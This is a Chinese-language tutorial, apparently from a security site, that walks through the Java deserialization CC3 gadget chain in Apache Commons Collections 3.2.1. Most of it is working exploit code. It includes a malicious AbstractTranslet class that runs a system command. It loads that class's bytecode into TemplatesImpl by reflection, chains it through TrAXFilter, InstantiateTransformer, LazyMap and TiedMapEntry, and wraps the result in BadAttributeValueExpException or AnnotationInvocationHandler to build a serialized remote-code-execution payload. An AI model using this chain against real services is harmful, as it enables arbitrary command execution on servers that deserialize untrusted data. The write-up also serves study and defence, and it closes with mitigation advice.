CC3链是一个在Java反序列化漏洞中,利用Apache Commons Collections库(版本3.x)中的类,来实现在目标系统上执行任意代码的攻击链路径。
它与更著名的CC1链目的相同,但实现路径和使用的关键类完全不同。CC1链的核心是TransformedMap或LazyMap与InvokerTransformer、ChainedTransformer的配合。CC1请看(Java反序列化之——cc1链超详细分析 - FreeBuf网络安全行业门户)
而在CC3链中,由于高版本Java(>=8u71)对AnnotationInvocationHandler的修复,使得CC1链失效,攻击者便寻找了新的利用链。
核心思想:利用TemplatesImpl这个类本身具有加载字节码并执行的能力(详情请看:深入探索Java反序列化:CC2利用链原理与POC实现 - FreeBuf网络安全行业门户),使用了CC2链的利用思路,然后通过Commons Collections 3中的TrAXFilter类和InstantiateTransformertransformer,巧妙地触发TemplatesImpl的newTransformer()方法,从而最终执行恶意字节码。
要成功利用CC3链,需要满足以下几个条件:
理解CC3链的关键在于理解以下几个类是如何串联起来的:
需要 Commons Collections 3.x版本,其次是JDK版本8u以上版本,maven导入相关的包
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.20.0-GA</version>1.编写一个类,其静态代码块中包含恶意命令-Exec.java:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Exec extends AbstractTranslet {
static {
try {
Process process = Runtime.getRuntime().exec("whoami");
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
System.out.println("命令执行结果:");
while ((line = reader.readLine()) != null) {
System.out.println(line); // 逐行打印命令执行结果
}
reader.close(); // 关闭流
process.waitFor();
} catch (IOException | InterruptedException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}2.将这个类编译成 .class文件,并读取其字节码,新建一个Cc3Exec.java
import javassist.ClassPool;
import java.util.Arrays;
public class Cc3Exec {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
byte[] execs = classPool.get("Exec").toBytecode();
System.out.println(Arrays.toString(execs));
}
}
3.创建一个 TemplatesImpl对象,通过反射将其 _bytecodes字段设置为包含我们恶意类字节码的数组。同时还需要设置 _name、_tfactory等必要字段。这里是CC2链利用的核心操作,具体看CC2链的内容(深入探索Java反序列化:CC2利用链原理与POC实现 - FreeBuf网络安全行业门户)。
新建一个Cc3Exec.java:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import java.lang.reflect.Field;
import java.util.Arrays;
public class Cc3Exec {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
byte[] execBytes = classPool.get("Exec").toBytecode();
// 创建TemplatesImpl实例,这是XSLT转换的核心类,可用于加载和执行字节码
TemplatesImpl templates = new TemplatesImpl();
// 获取TemplatesImpl的Class对象,用于后续的反射操作
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
// 获取_name字段并进行设置
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "aaa");
// 获取_tfactory字段并进行设置 - 这个字段是Transformer工厂,用于创建转换器
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates, new TransformerFactoryImpl());
// 获取_bytecodes字段并进行设置 -
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
_bytecodesField.set(templates, new byte[][]{execBytes});//这个字段包含要加载的类字节码bytecodes-上面的变量
// 调用newTransformer方法触发字节码加载和执行
// 这会使得_bytecodes中的类被定义和初始化,执行静态代码块等
templates.newTransformer();
}
}这样就完成了一个雏形了,运行这个文件:可以看到恶意类的代码已经被执行了。

现在要找到一个可以来帮我们调用newTransformer()方法的对象,从而执行里面的步骤(创建恶意类Exec对象)。
1.创建一个 InstantiateTransformer
有这样一个类,com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter类,其构造函数如下:

特别直接的在构造函数中执行了我们上面的代码中的 (TransformerImpl) templates.newTransformer();,而且实现起来很简单,只需要创建一个对象,将我们自己的templates传入即可实现。

而且刚好templates.newTransformer()返回的就是一个TransformerImpl类型。所以我们上面的代码,就可以将templates.newTransformer();改为创建TrAXFilter trAXFilter = new TrAXFilter(templates);这个对象,达到同样的效果:

现在继续找替我们执行上面的步骤的方法。存在这样一个类:org.apache.commons.collections.functors.InstantiateTransformer:其构造器中的代码如下:

接收两个参数,一个是Class数组,一个是Object数组。赋值给iParamTypes 和 iArgs。
然后在它的transform()方法中,使用了这两个参数的值-如下:

如果调用它的transform(),方法传入的是一个Class对象,就执行下面的代码:
Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs);
通过反射获取该Class对象的Constructor 构造器,并且参数是iParamTypes,然后调用构造器创建一个该Class类的对象,参数是iArgs。这里所有的参数均可控。那它是不是就可以用来帮我们完成这一步TrAXFilter trAXFilter = new TrAXFilter(templates);,所以iArgs =templates,iParamTypes =(templates的类类型-Templates.class(因为在TrAXFilter构造函数中,它的参数明确显示的是Templates类型,尽管templates的实际类型是它的实现类TemplatesImpl)),input = TrAXFilter.class ,这里主要是反射原理的利用。如有不理解请看(java反序列化基础——(反)序列化、反射 - FreeBuf网络安全行业门户):
然后执行它的transform()放的时候,就会通过反射,创建一个TrAXFilter对象了。
那么可以用下面的代码替代上面的创建TrAXFilter对象的代码:
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);成功执行:

到这里已经完成了创建一个InstantiateTransformerd对象,其参数是 new Class[]{Templates.class}和 new Object[]{templatesImpl}。这表示它将使用一个参数(类型为Templates,值为我们恶意的templatesImpl对象)来构造TrAXFilter对象,然后执行它的transform方法。
接下来需要使用CC1链的知识:
2.创建一个ChainedTransformer
1.Transformer的实现类ChainedTransformer中有一个Transformer[]数组-通过构造器赋值:


而且它也有自己的transform()方法:

该方法将这个Transformer[]数组里面的所有对象一次执行他们自己的transform(object)方法,并且将前一个执行的结果作为实际参数传递给下一个对象的transform(object)方法。当然第一个元素Transformer[0]的object的是调用的时候传入的。
2.另外还有一个Transformer的实现类ConstantTransformer,表示常量的Transformer如下:


它的transform()方法中,该方法不管传入任何参数,它都直接返回创建该对象的这个值iConstant。那么就可以将这个instantiateTransformer.transform(TrAXFilter.class);执行恶意代码的调用使用上面2个Transformer的实现类进行替换,达到同样的效果。所以可以替换成如下代码:
ConstantTransformer constantTransformer = new ConstantTransformer(TrAXFilter.class);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,instantiateTransformer});
chainedTransformer.transform("随便输入,反正会返回常量!");这里通过创建一个常量ConstantTransformer 是其在ChainedTransformer 的属性-iTransformers[0]数组索引0位置上率先执行,得到TrAXFilter.class,将其作为iTransformers[1].transform(TrAXFilter.class)的参数,而我们将iTransformers[1]赋值为instantiateTransformer,就实现了到instantiateTransformer.transform(TrAXFilter.class)的转变。

然后运行,同样可以顺利执行。
chainedTransformer.transform("随便输入,反正会返回常量!");其实这个也可以使用其他方式替代。
在Lazymap类中:它的get()方法中,有对transform()方法的调用,但是前面有个if判断,map的中的key不能是我们传入的key。

然后只需要factory==chainedTransformer 就可以实现它帮我们执行的效果。看看这个factory和map怎么控制:

在其构造函数中赋值,且为Transformer 类型,但是是protect的,无法直接调用,同时再次出现一个if判断,不能为null!但是它有下面的decorate()方法帮我们调用构造函数:

那我们创建一个空Map,就解决了第一个if判断,肯定不会包含输入的,或者随便输入key也不可能包含,然后就是调用decorate()方法。传入参数,那么就解决了第二个if的判断!
所以使用如下代码替换chainedTransformer.transform("随便输入,反正会返回常量!");即可。
Map<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer);
lazyMap.get("随便输入!");
到这里就可以分成两个不同的后续利用链了,先从第一种利用BadAttributeValueExpException类的反序列化readObject()方法。
这里需要使用到TiedMapEntry这个类。该类中有个getValue()的方法,也存在对get方法的调用。

如果这里的map == lazyMap,那么这里又可以通过TiedMapEntry这个对象来帮我们继续调用。而这个map同样是我们可以通过构造函数赋值的:

而同样的它的tostring()方法直接调用了getValue()方法。

所以上面的代码继续替换:将lazyMap.get("随便输入!");替换为如下代码:
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"随便输入"); tiedMapEntry.toString();
同样可以继续执行命令:

上面的TiedMapEntry对象,为什么我们不直接调用getValue()方法,而选择通过toString(),来帮我们调用,主要原因就是最终的反序列方法中是对toString()方法的调用,这样才形成了一个完整的链条。不然无法通过反序列化的方法调用后面的执行链。
BadAttributeValueExpException类的readObject()
在它的构造函数中,直接调用了val.toString()。那么只需要我们将上面的tiedMapEntry.toString();==val.toString(),就可以执行了。

但是就存在一个问题:创建这个对象的时候,就执行了利用链中的代码,都还没走到readObject(),反序列化方法,程序就执行结束--每次我们执行都报错的地方,后续的代码将不在执行。
如下:直接将tiedMapEntry.toString();更改为如下代码:
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
System.out.println("执行这里吗???");命令确实是执行了,但是程序也结束了,后续走不下去了。

在BadAttributeValueExpException 该类中的反序列方法readObject():同样存在对toString()方法的调用,所以需要反序列化代码中的valObj.toString();==tiedMapEntry.toString();,需要给valObj赋值 。

如何给他赋值:可以看到它的值是通过反序列化从输入流中读取到的该对象的字段val的值。而且要执行到else if中的代码需要满足val 不为空,且不能是String类型。然后满足很多的条件中的任意一项即可执行toString();但是这么多条件中,我们知道最终这个val应该是我们的tiedMapEntry对象,因为只有这样才能执行利用链。那么唯一的可能点就是第一个条件:System.getSecurityManager() == null必须成立,好在这个值默认为空。


问题关键点:1.val不能为空且不能为String类型。2.BadAttributeValueExpException对象创建的时候不能执行构造函数里面的toString方法-即val必须为空。矛盾的组合2个条件。
解决方式-反射:我们可以先创建一个val属性为空的BadAttributeValueExpException对象,然后在对其val属性赋值。但是其val属性是private的,所以需要使用反射的方式来实现。
那么上面的tiedMapEntry.toString();代码可以更改为如下代码:
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);现在相当于就得到了一个持有tiedMapEntry对象的对象。只需要调用它的readObject()方法,即可自动执行同toString()方法了。
序列化反序列化过程:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Cc3Exec {
public static void main(String[] args) throws Exception {
// 使用Javassist动态生成恶意类的字节码
ClassPool classPool = ClassPool.getDefault();
byte[] execBytes = classPool.get("Exec").toBytecode();
// ========== 第一步:创建并配置TemplatesImpl对象 ==========
// TemplatesImpl是JDK内部类,这是XSLT转换的核心类,可用于加载和执行字节码
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
// 设置_name字段 - TemplatesImpl要求这个字段不能为空
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "aaa");
// 设置_tfactory字段 - 转换器工厂,TemplatesImpl执行时需要
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates, new TransformerFactoryImpl());
// 设置_bytecodes字段 - 核心:包含要执行的恶意字节码
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
_bytecodesField.set(templates, new byte[][]{execBytes});
// ========== 第二步:构建Transformer执行链 ==========
// ConstantTransformer: 固定返回TrAXFilter.class对象
ConstantTransformer constantTransformer = new ConstantTransformer(TrAXFilter.class);
// InstantiateTransformer: 核心Transformer,用于实例化TrAXFilter类
// 参数说明:
// - new Class[]{Templates.class}: 匹配TrAXFilter构造函数的参数类型
// - new Object[]{templates}: 传入恶意的TemplatesImpl对象
// 当被调用时:new TrAXFilter(templates) → 触发templates.newTransformer() → 执行恶意字节码
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
);
// ChainedTransformer: 将多个Transformer串联执行
// 执行顺序:constantTransformer → instantiateTransformer
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{constantTransformer, instantiateTransformer}
);
// ========== 第三步:构建触发链 ==========
// 创建基础HashMap
Map<Object, Object> map = new HashMap<>();
// 使用LazyMap装饰HashMap,设置factory为我们的Transformer链
// 当访问不存在的key时,会触发chainedTransformer.transform()
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
// 创建TiedMapEntry,将lazyMap和一个任意key绑定
// TiedMapEntry的toString()方法会调用getValue() → lazyMap.get(key)
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "随便输入");
// ========== 第四步:设置反序列化入口点 ==========
// 创建BadAttributeValueExpException对象
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
// 通过反射设置val字段为我们的TiedMapEntry
// BadAttributeValueExpException在反序列化时会调用val.toString()
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, tiedMapEntry);
// ========== 第五步:序列化和反序列化触发 ==========
// 序列化恶意对象到文件
serialize(badAttributeValueExpException);
// 反序列化触发漏洞执行
deserialize();
}
/**
* 序列化对象到文件
* @param object 要序列化的对象
*/
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("1.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
System.out.println("序列化完成,恶意对象已保存到 1.bin");
}
/**
* 模拟服务器反序列化过程:从文件反序列化对象并触发漏洞
*/
public static void deserialize() throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("1.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject(); // 这里会触发漏洞执行
objectInputStream.close();
System.out.println("反序列化完成");
}
}成功执行:

整个CC3利用链就结束了:该代码的执行逻辑如下:
反序列化开始
↓
BadAttributeValueExpException.readObject()
↓ 调用 val.toString() // val是我们的TiedMapEntry
↓
TiedMapEntry.toString()
↓ 调用 this.getValue()
↓
TiedMapEntry.getValue()
↓ 调用 this.map.get(this.key) // map是LazyMap, key不存在
↓
LazyMap.get("随便输入") // 由于key不存在,触发factory
↓
ChainedTransformer.transform()
↓
ConstantTransformer.transform() → 返回TrAXFilter.class
↓
InstantiateTransformer.transform(TrAXFilter.class) → new TrAXFilter(templates)
↓
TrAXFilter构造函数调用 templates.newTransformer()
↓
TemplatesImpl.newTransformer() → 加载并初始化恶意字节码
↓
恶意类的静态代码块执行 → Runtime.getRuntime().exec("calc")
↓
命令执行当目标应用的反序列化机制读取到这个字节流时,就会按照我们设计的路径一步步执行,最终任意命令。
CC3链可以看作是CC1链的一种“进化”和“绕过”。它放弃了直接使用InvokerTransformer来调用方法,转而利用InstantiateTransformer来实例化一个在构造函数中就能触发危险操作的类(TrAXFilter),从而巧妙地达到了执行任意代码的目的,这一创新使攻击能够绕过对AnnotationInvocationHandler的修复,在更高版本JDK中依然有效。这种组合方式展现了反序列化利用的灵活性,也说明了仅仅修复某一个点(如AnnotationInvocationHandler)往往不足以解决所有问题。防御此类攻击最有效的方式仍然是升级依赖、使用安全工具进行代码/数据包检查,以及避免反序列化不可信数据。
环境准备:需要将JDK版本设置到8u71以下
至于第二种方式还是使用CC1链中的 AnnotationInvocationHandler的利用链。如下它的反序列化方法-简单看一哈:

以及invoke方法:

它的反序列化方法中调用entryset(),触发invoke(需要代理Proxy对象),调用get方法。所以上面的代码只需要从Map的地方开始替换。就不需要TiedMapEntry作为中间跳板了。
但是AnnotationInvocationHandler是JDK内部的一个类,它位于sun.reflect.annotation包中。这个类在JDK的rt.jar中,但是它是包级私有的,也就是说它没有被导出为公共API。因此,在JDK的公开文档中找不到它,也不能直接在代码中通过import来引用,只能通过反射来获取,具体可以看CC1链的使用方法。这里直接使用。

这些都是我们可控的,只需需要对应的赋值即可实现调用最后的get方法。它需要两个参数一个Map,一个继承至Annotation 的Class类型。
直接上替换的代码:
// 通过反射获取AnnotationInvocationHandler类,这是Java内部用于处理注解的类
Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取AnnotationInvocationHandler的构造方法,参数为Class类型和Map类型
Constructor<?> declaredConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
// 设置构造方法可访问,绕过访问权限检查
declaredConstructor.setAccessible(true);
// 创建AnnotationInvocationHandler实例,传入Target注解类和之前构造的lazyMap
// 这里利用AnnotationInvocationHandler的readObject方法会在反序列化时操作Map的特性
InvocationHandler invocationHandler = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);
// 创建动态代理对象,代理Map接口,所有对Map的方法调用都会转发给invocationHandler
Map map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
// 再次创建AnnotationInvocationHandler实例,这次传入的是代理对象map
// 形成嵌套结构,在反序列化时会触发代理对象的调用链
Object o = declaredConstructor.newInstance(Target.class, map);再次成功执行命令。

-----结束!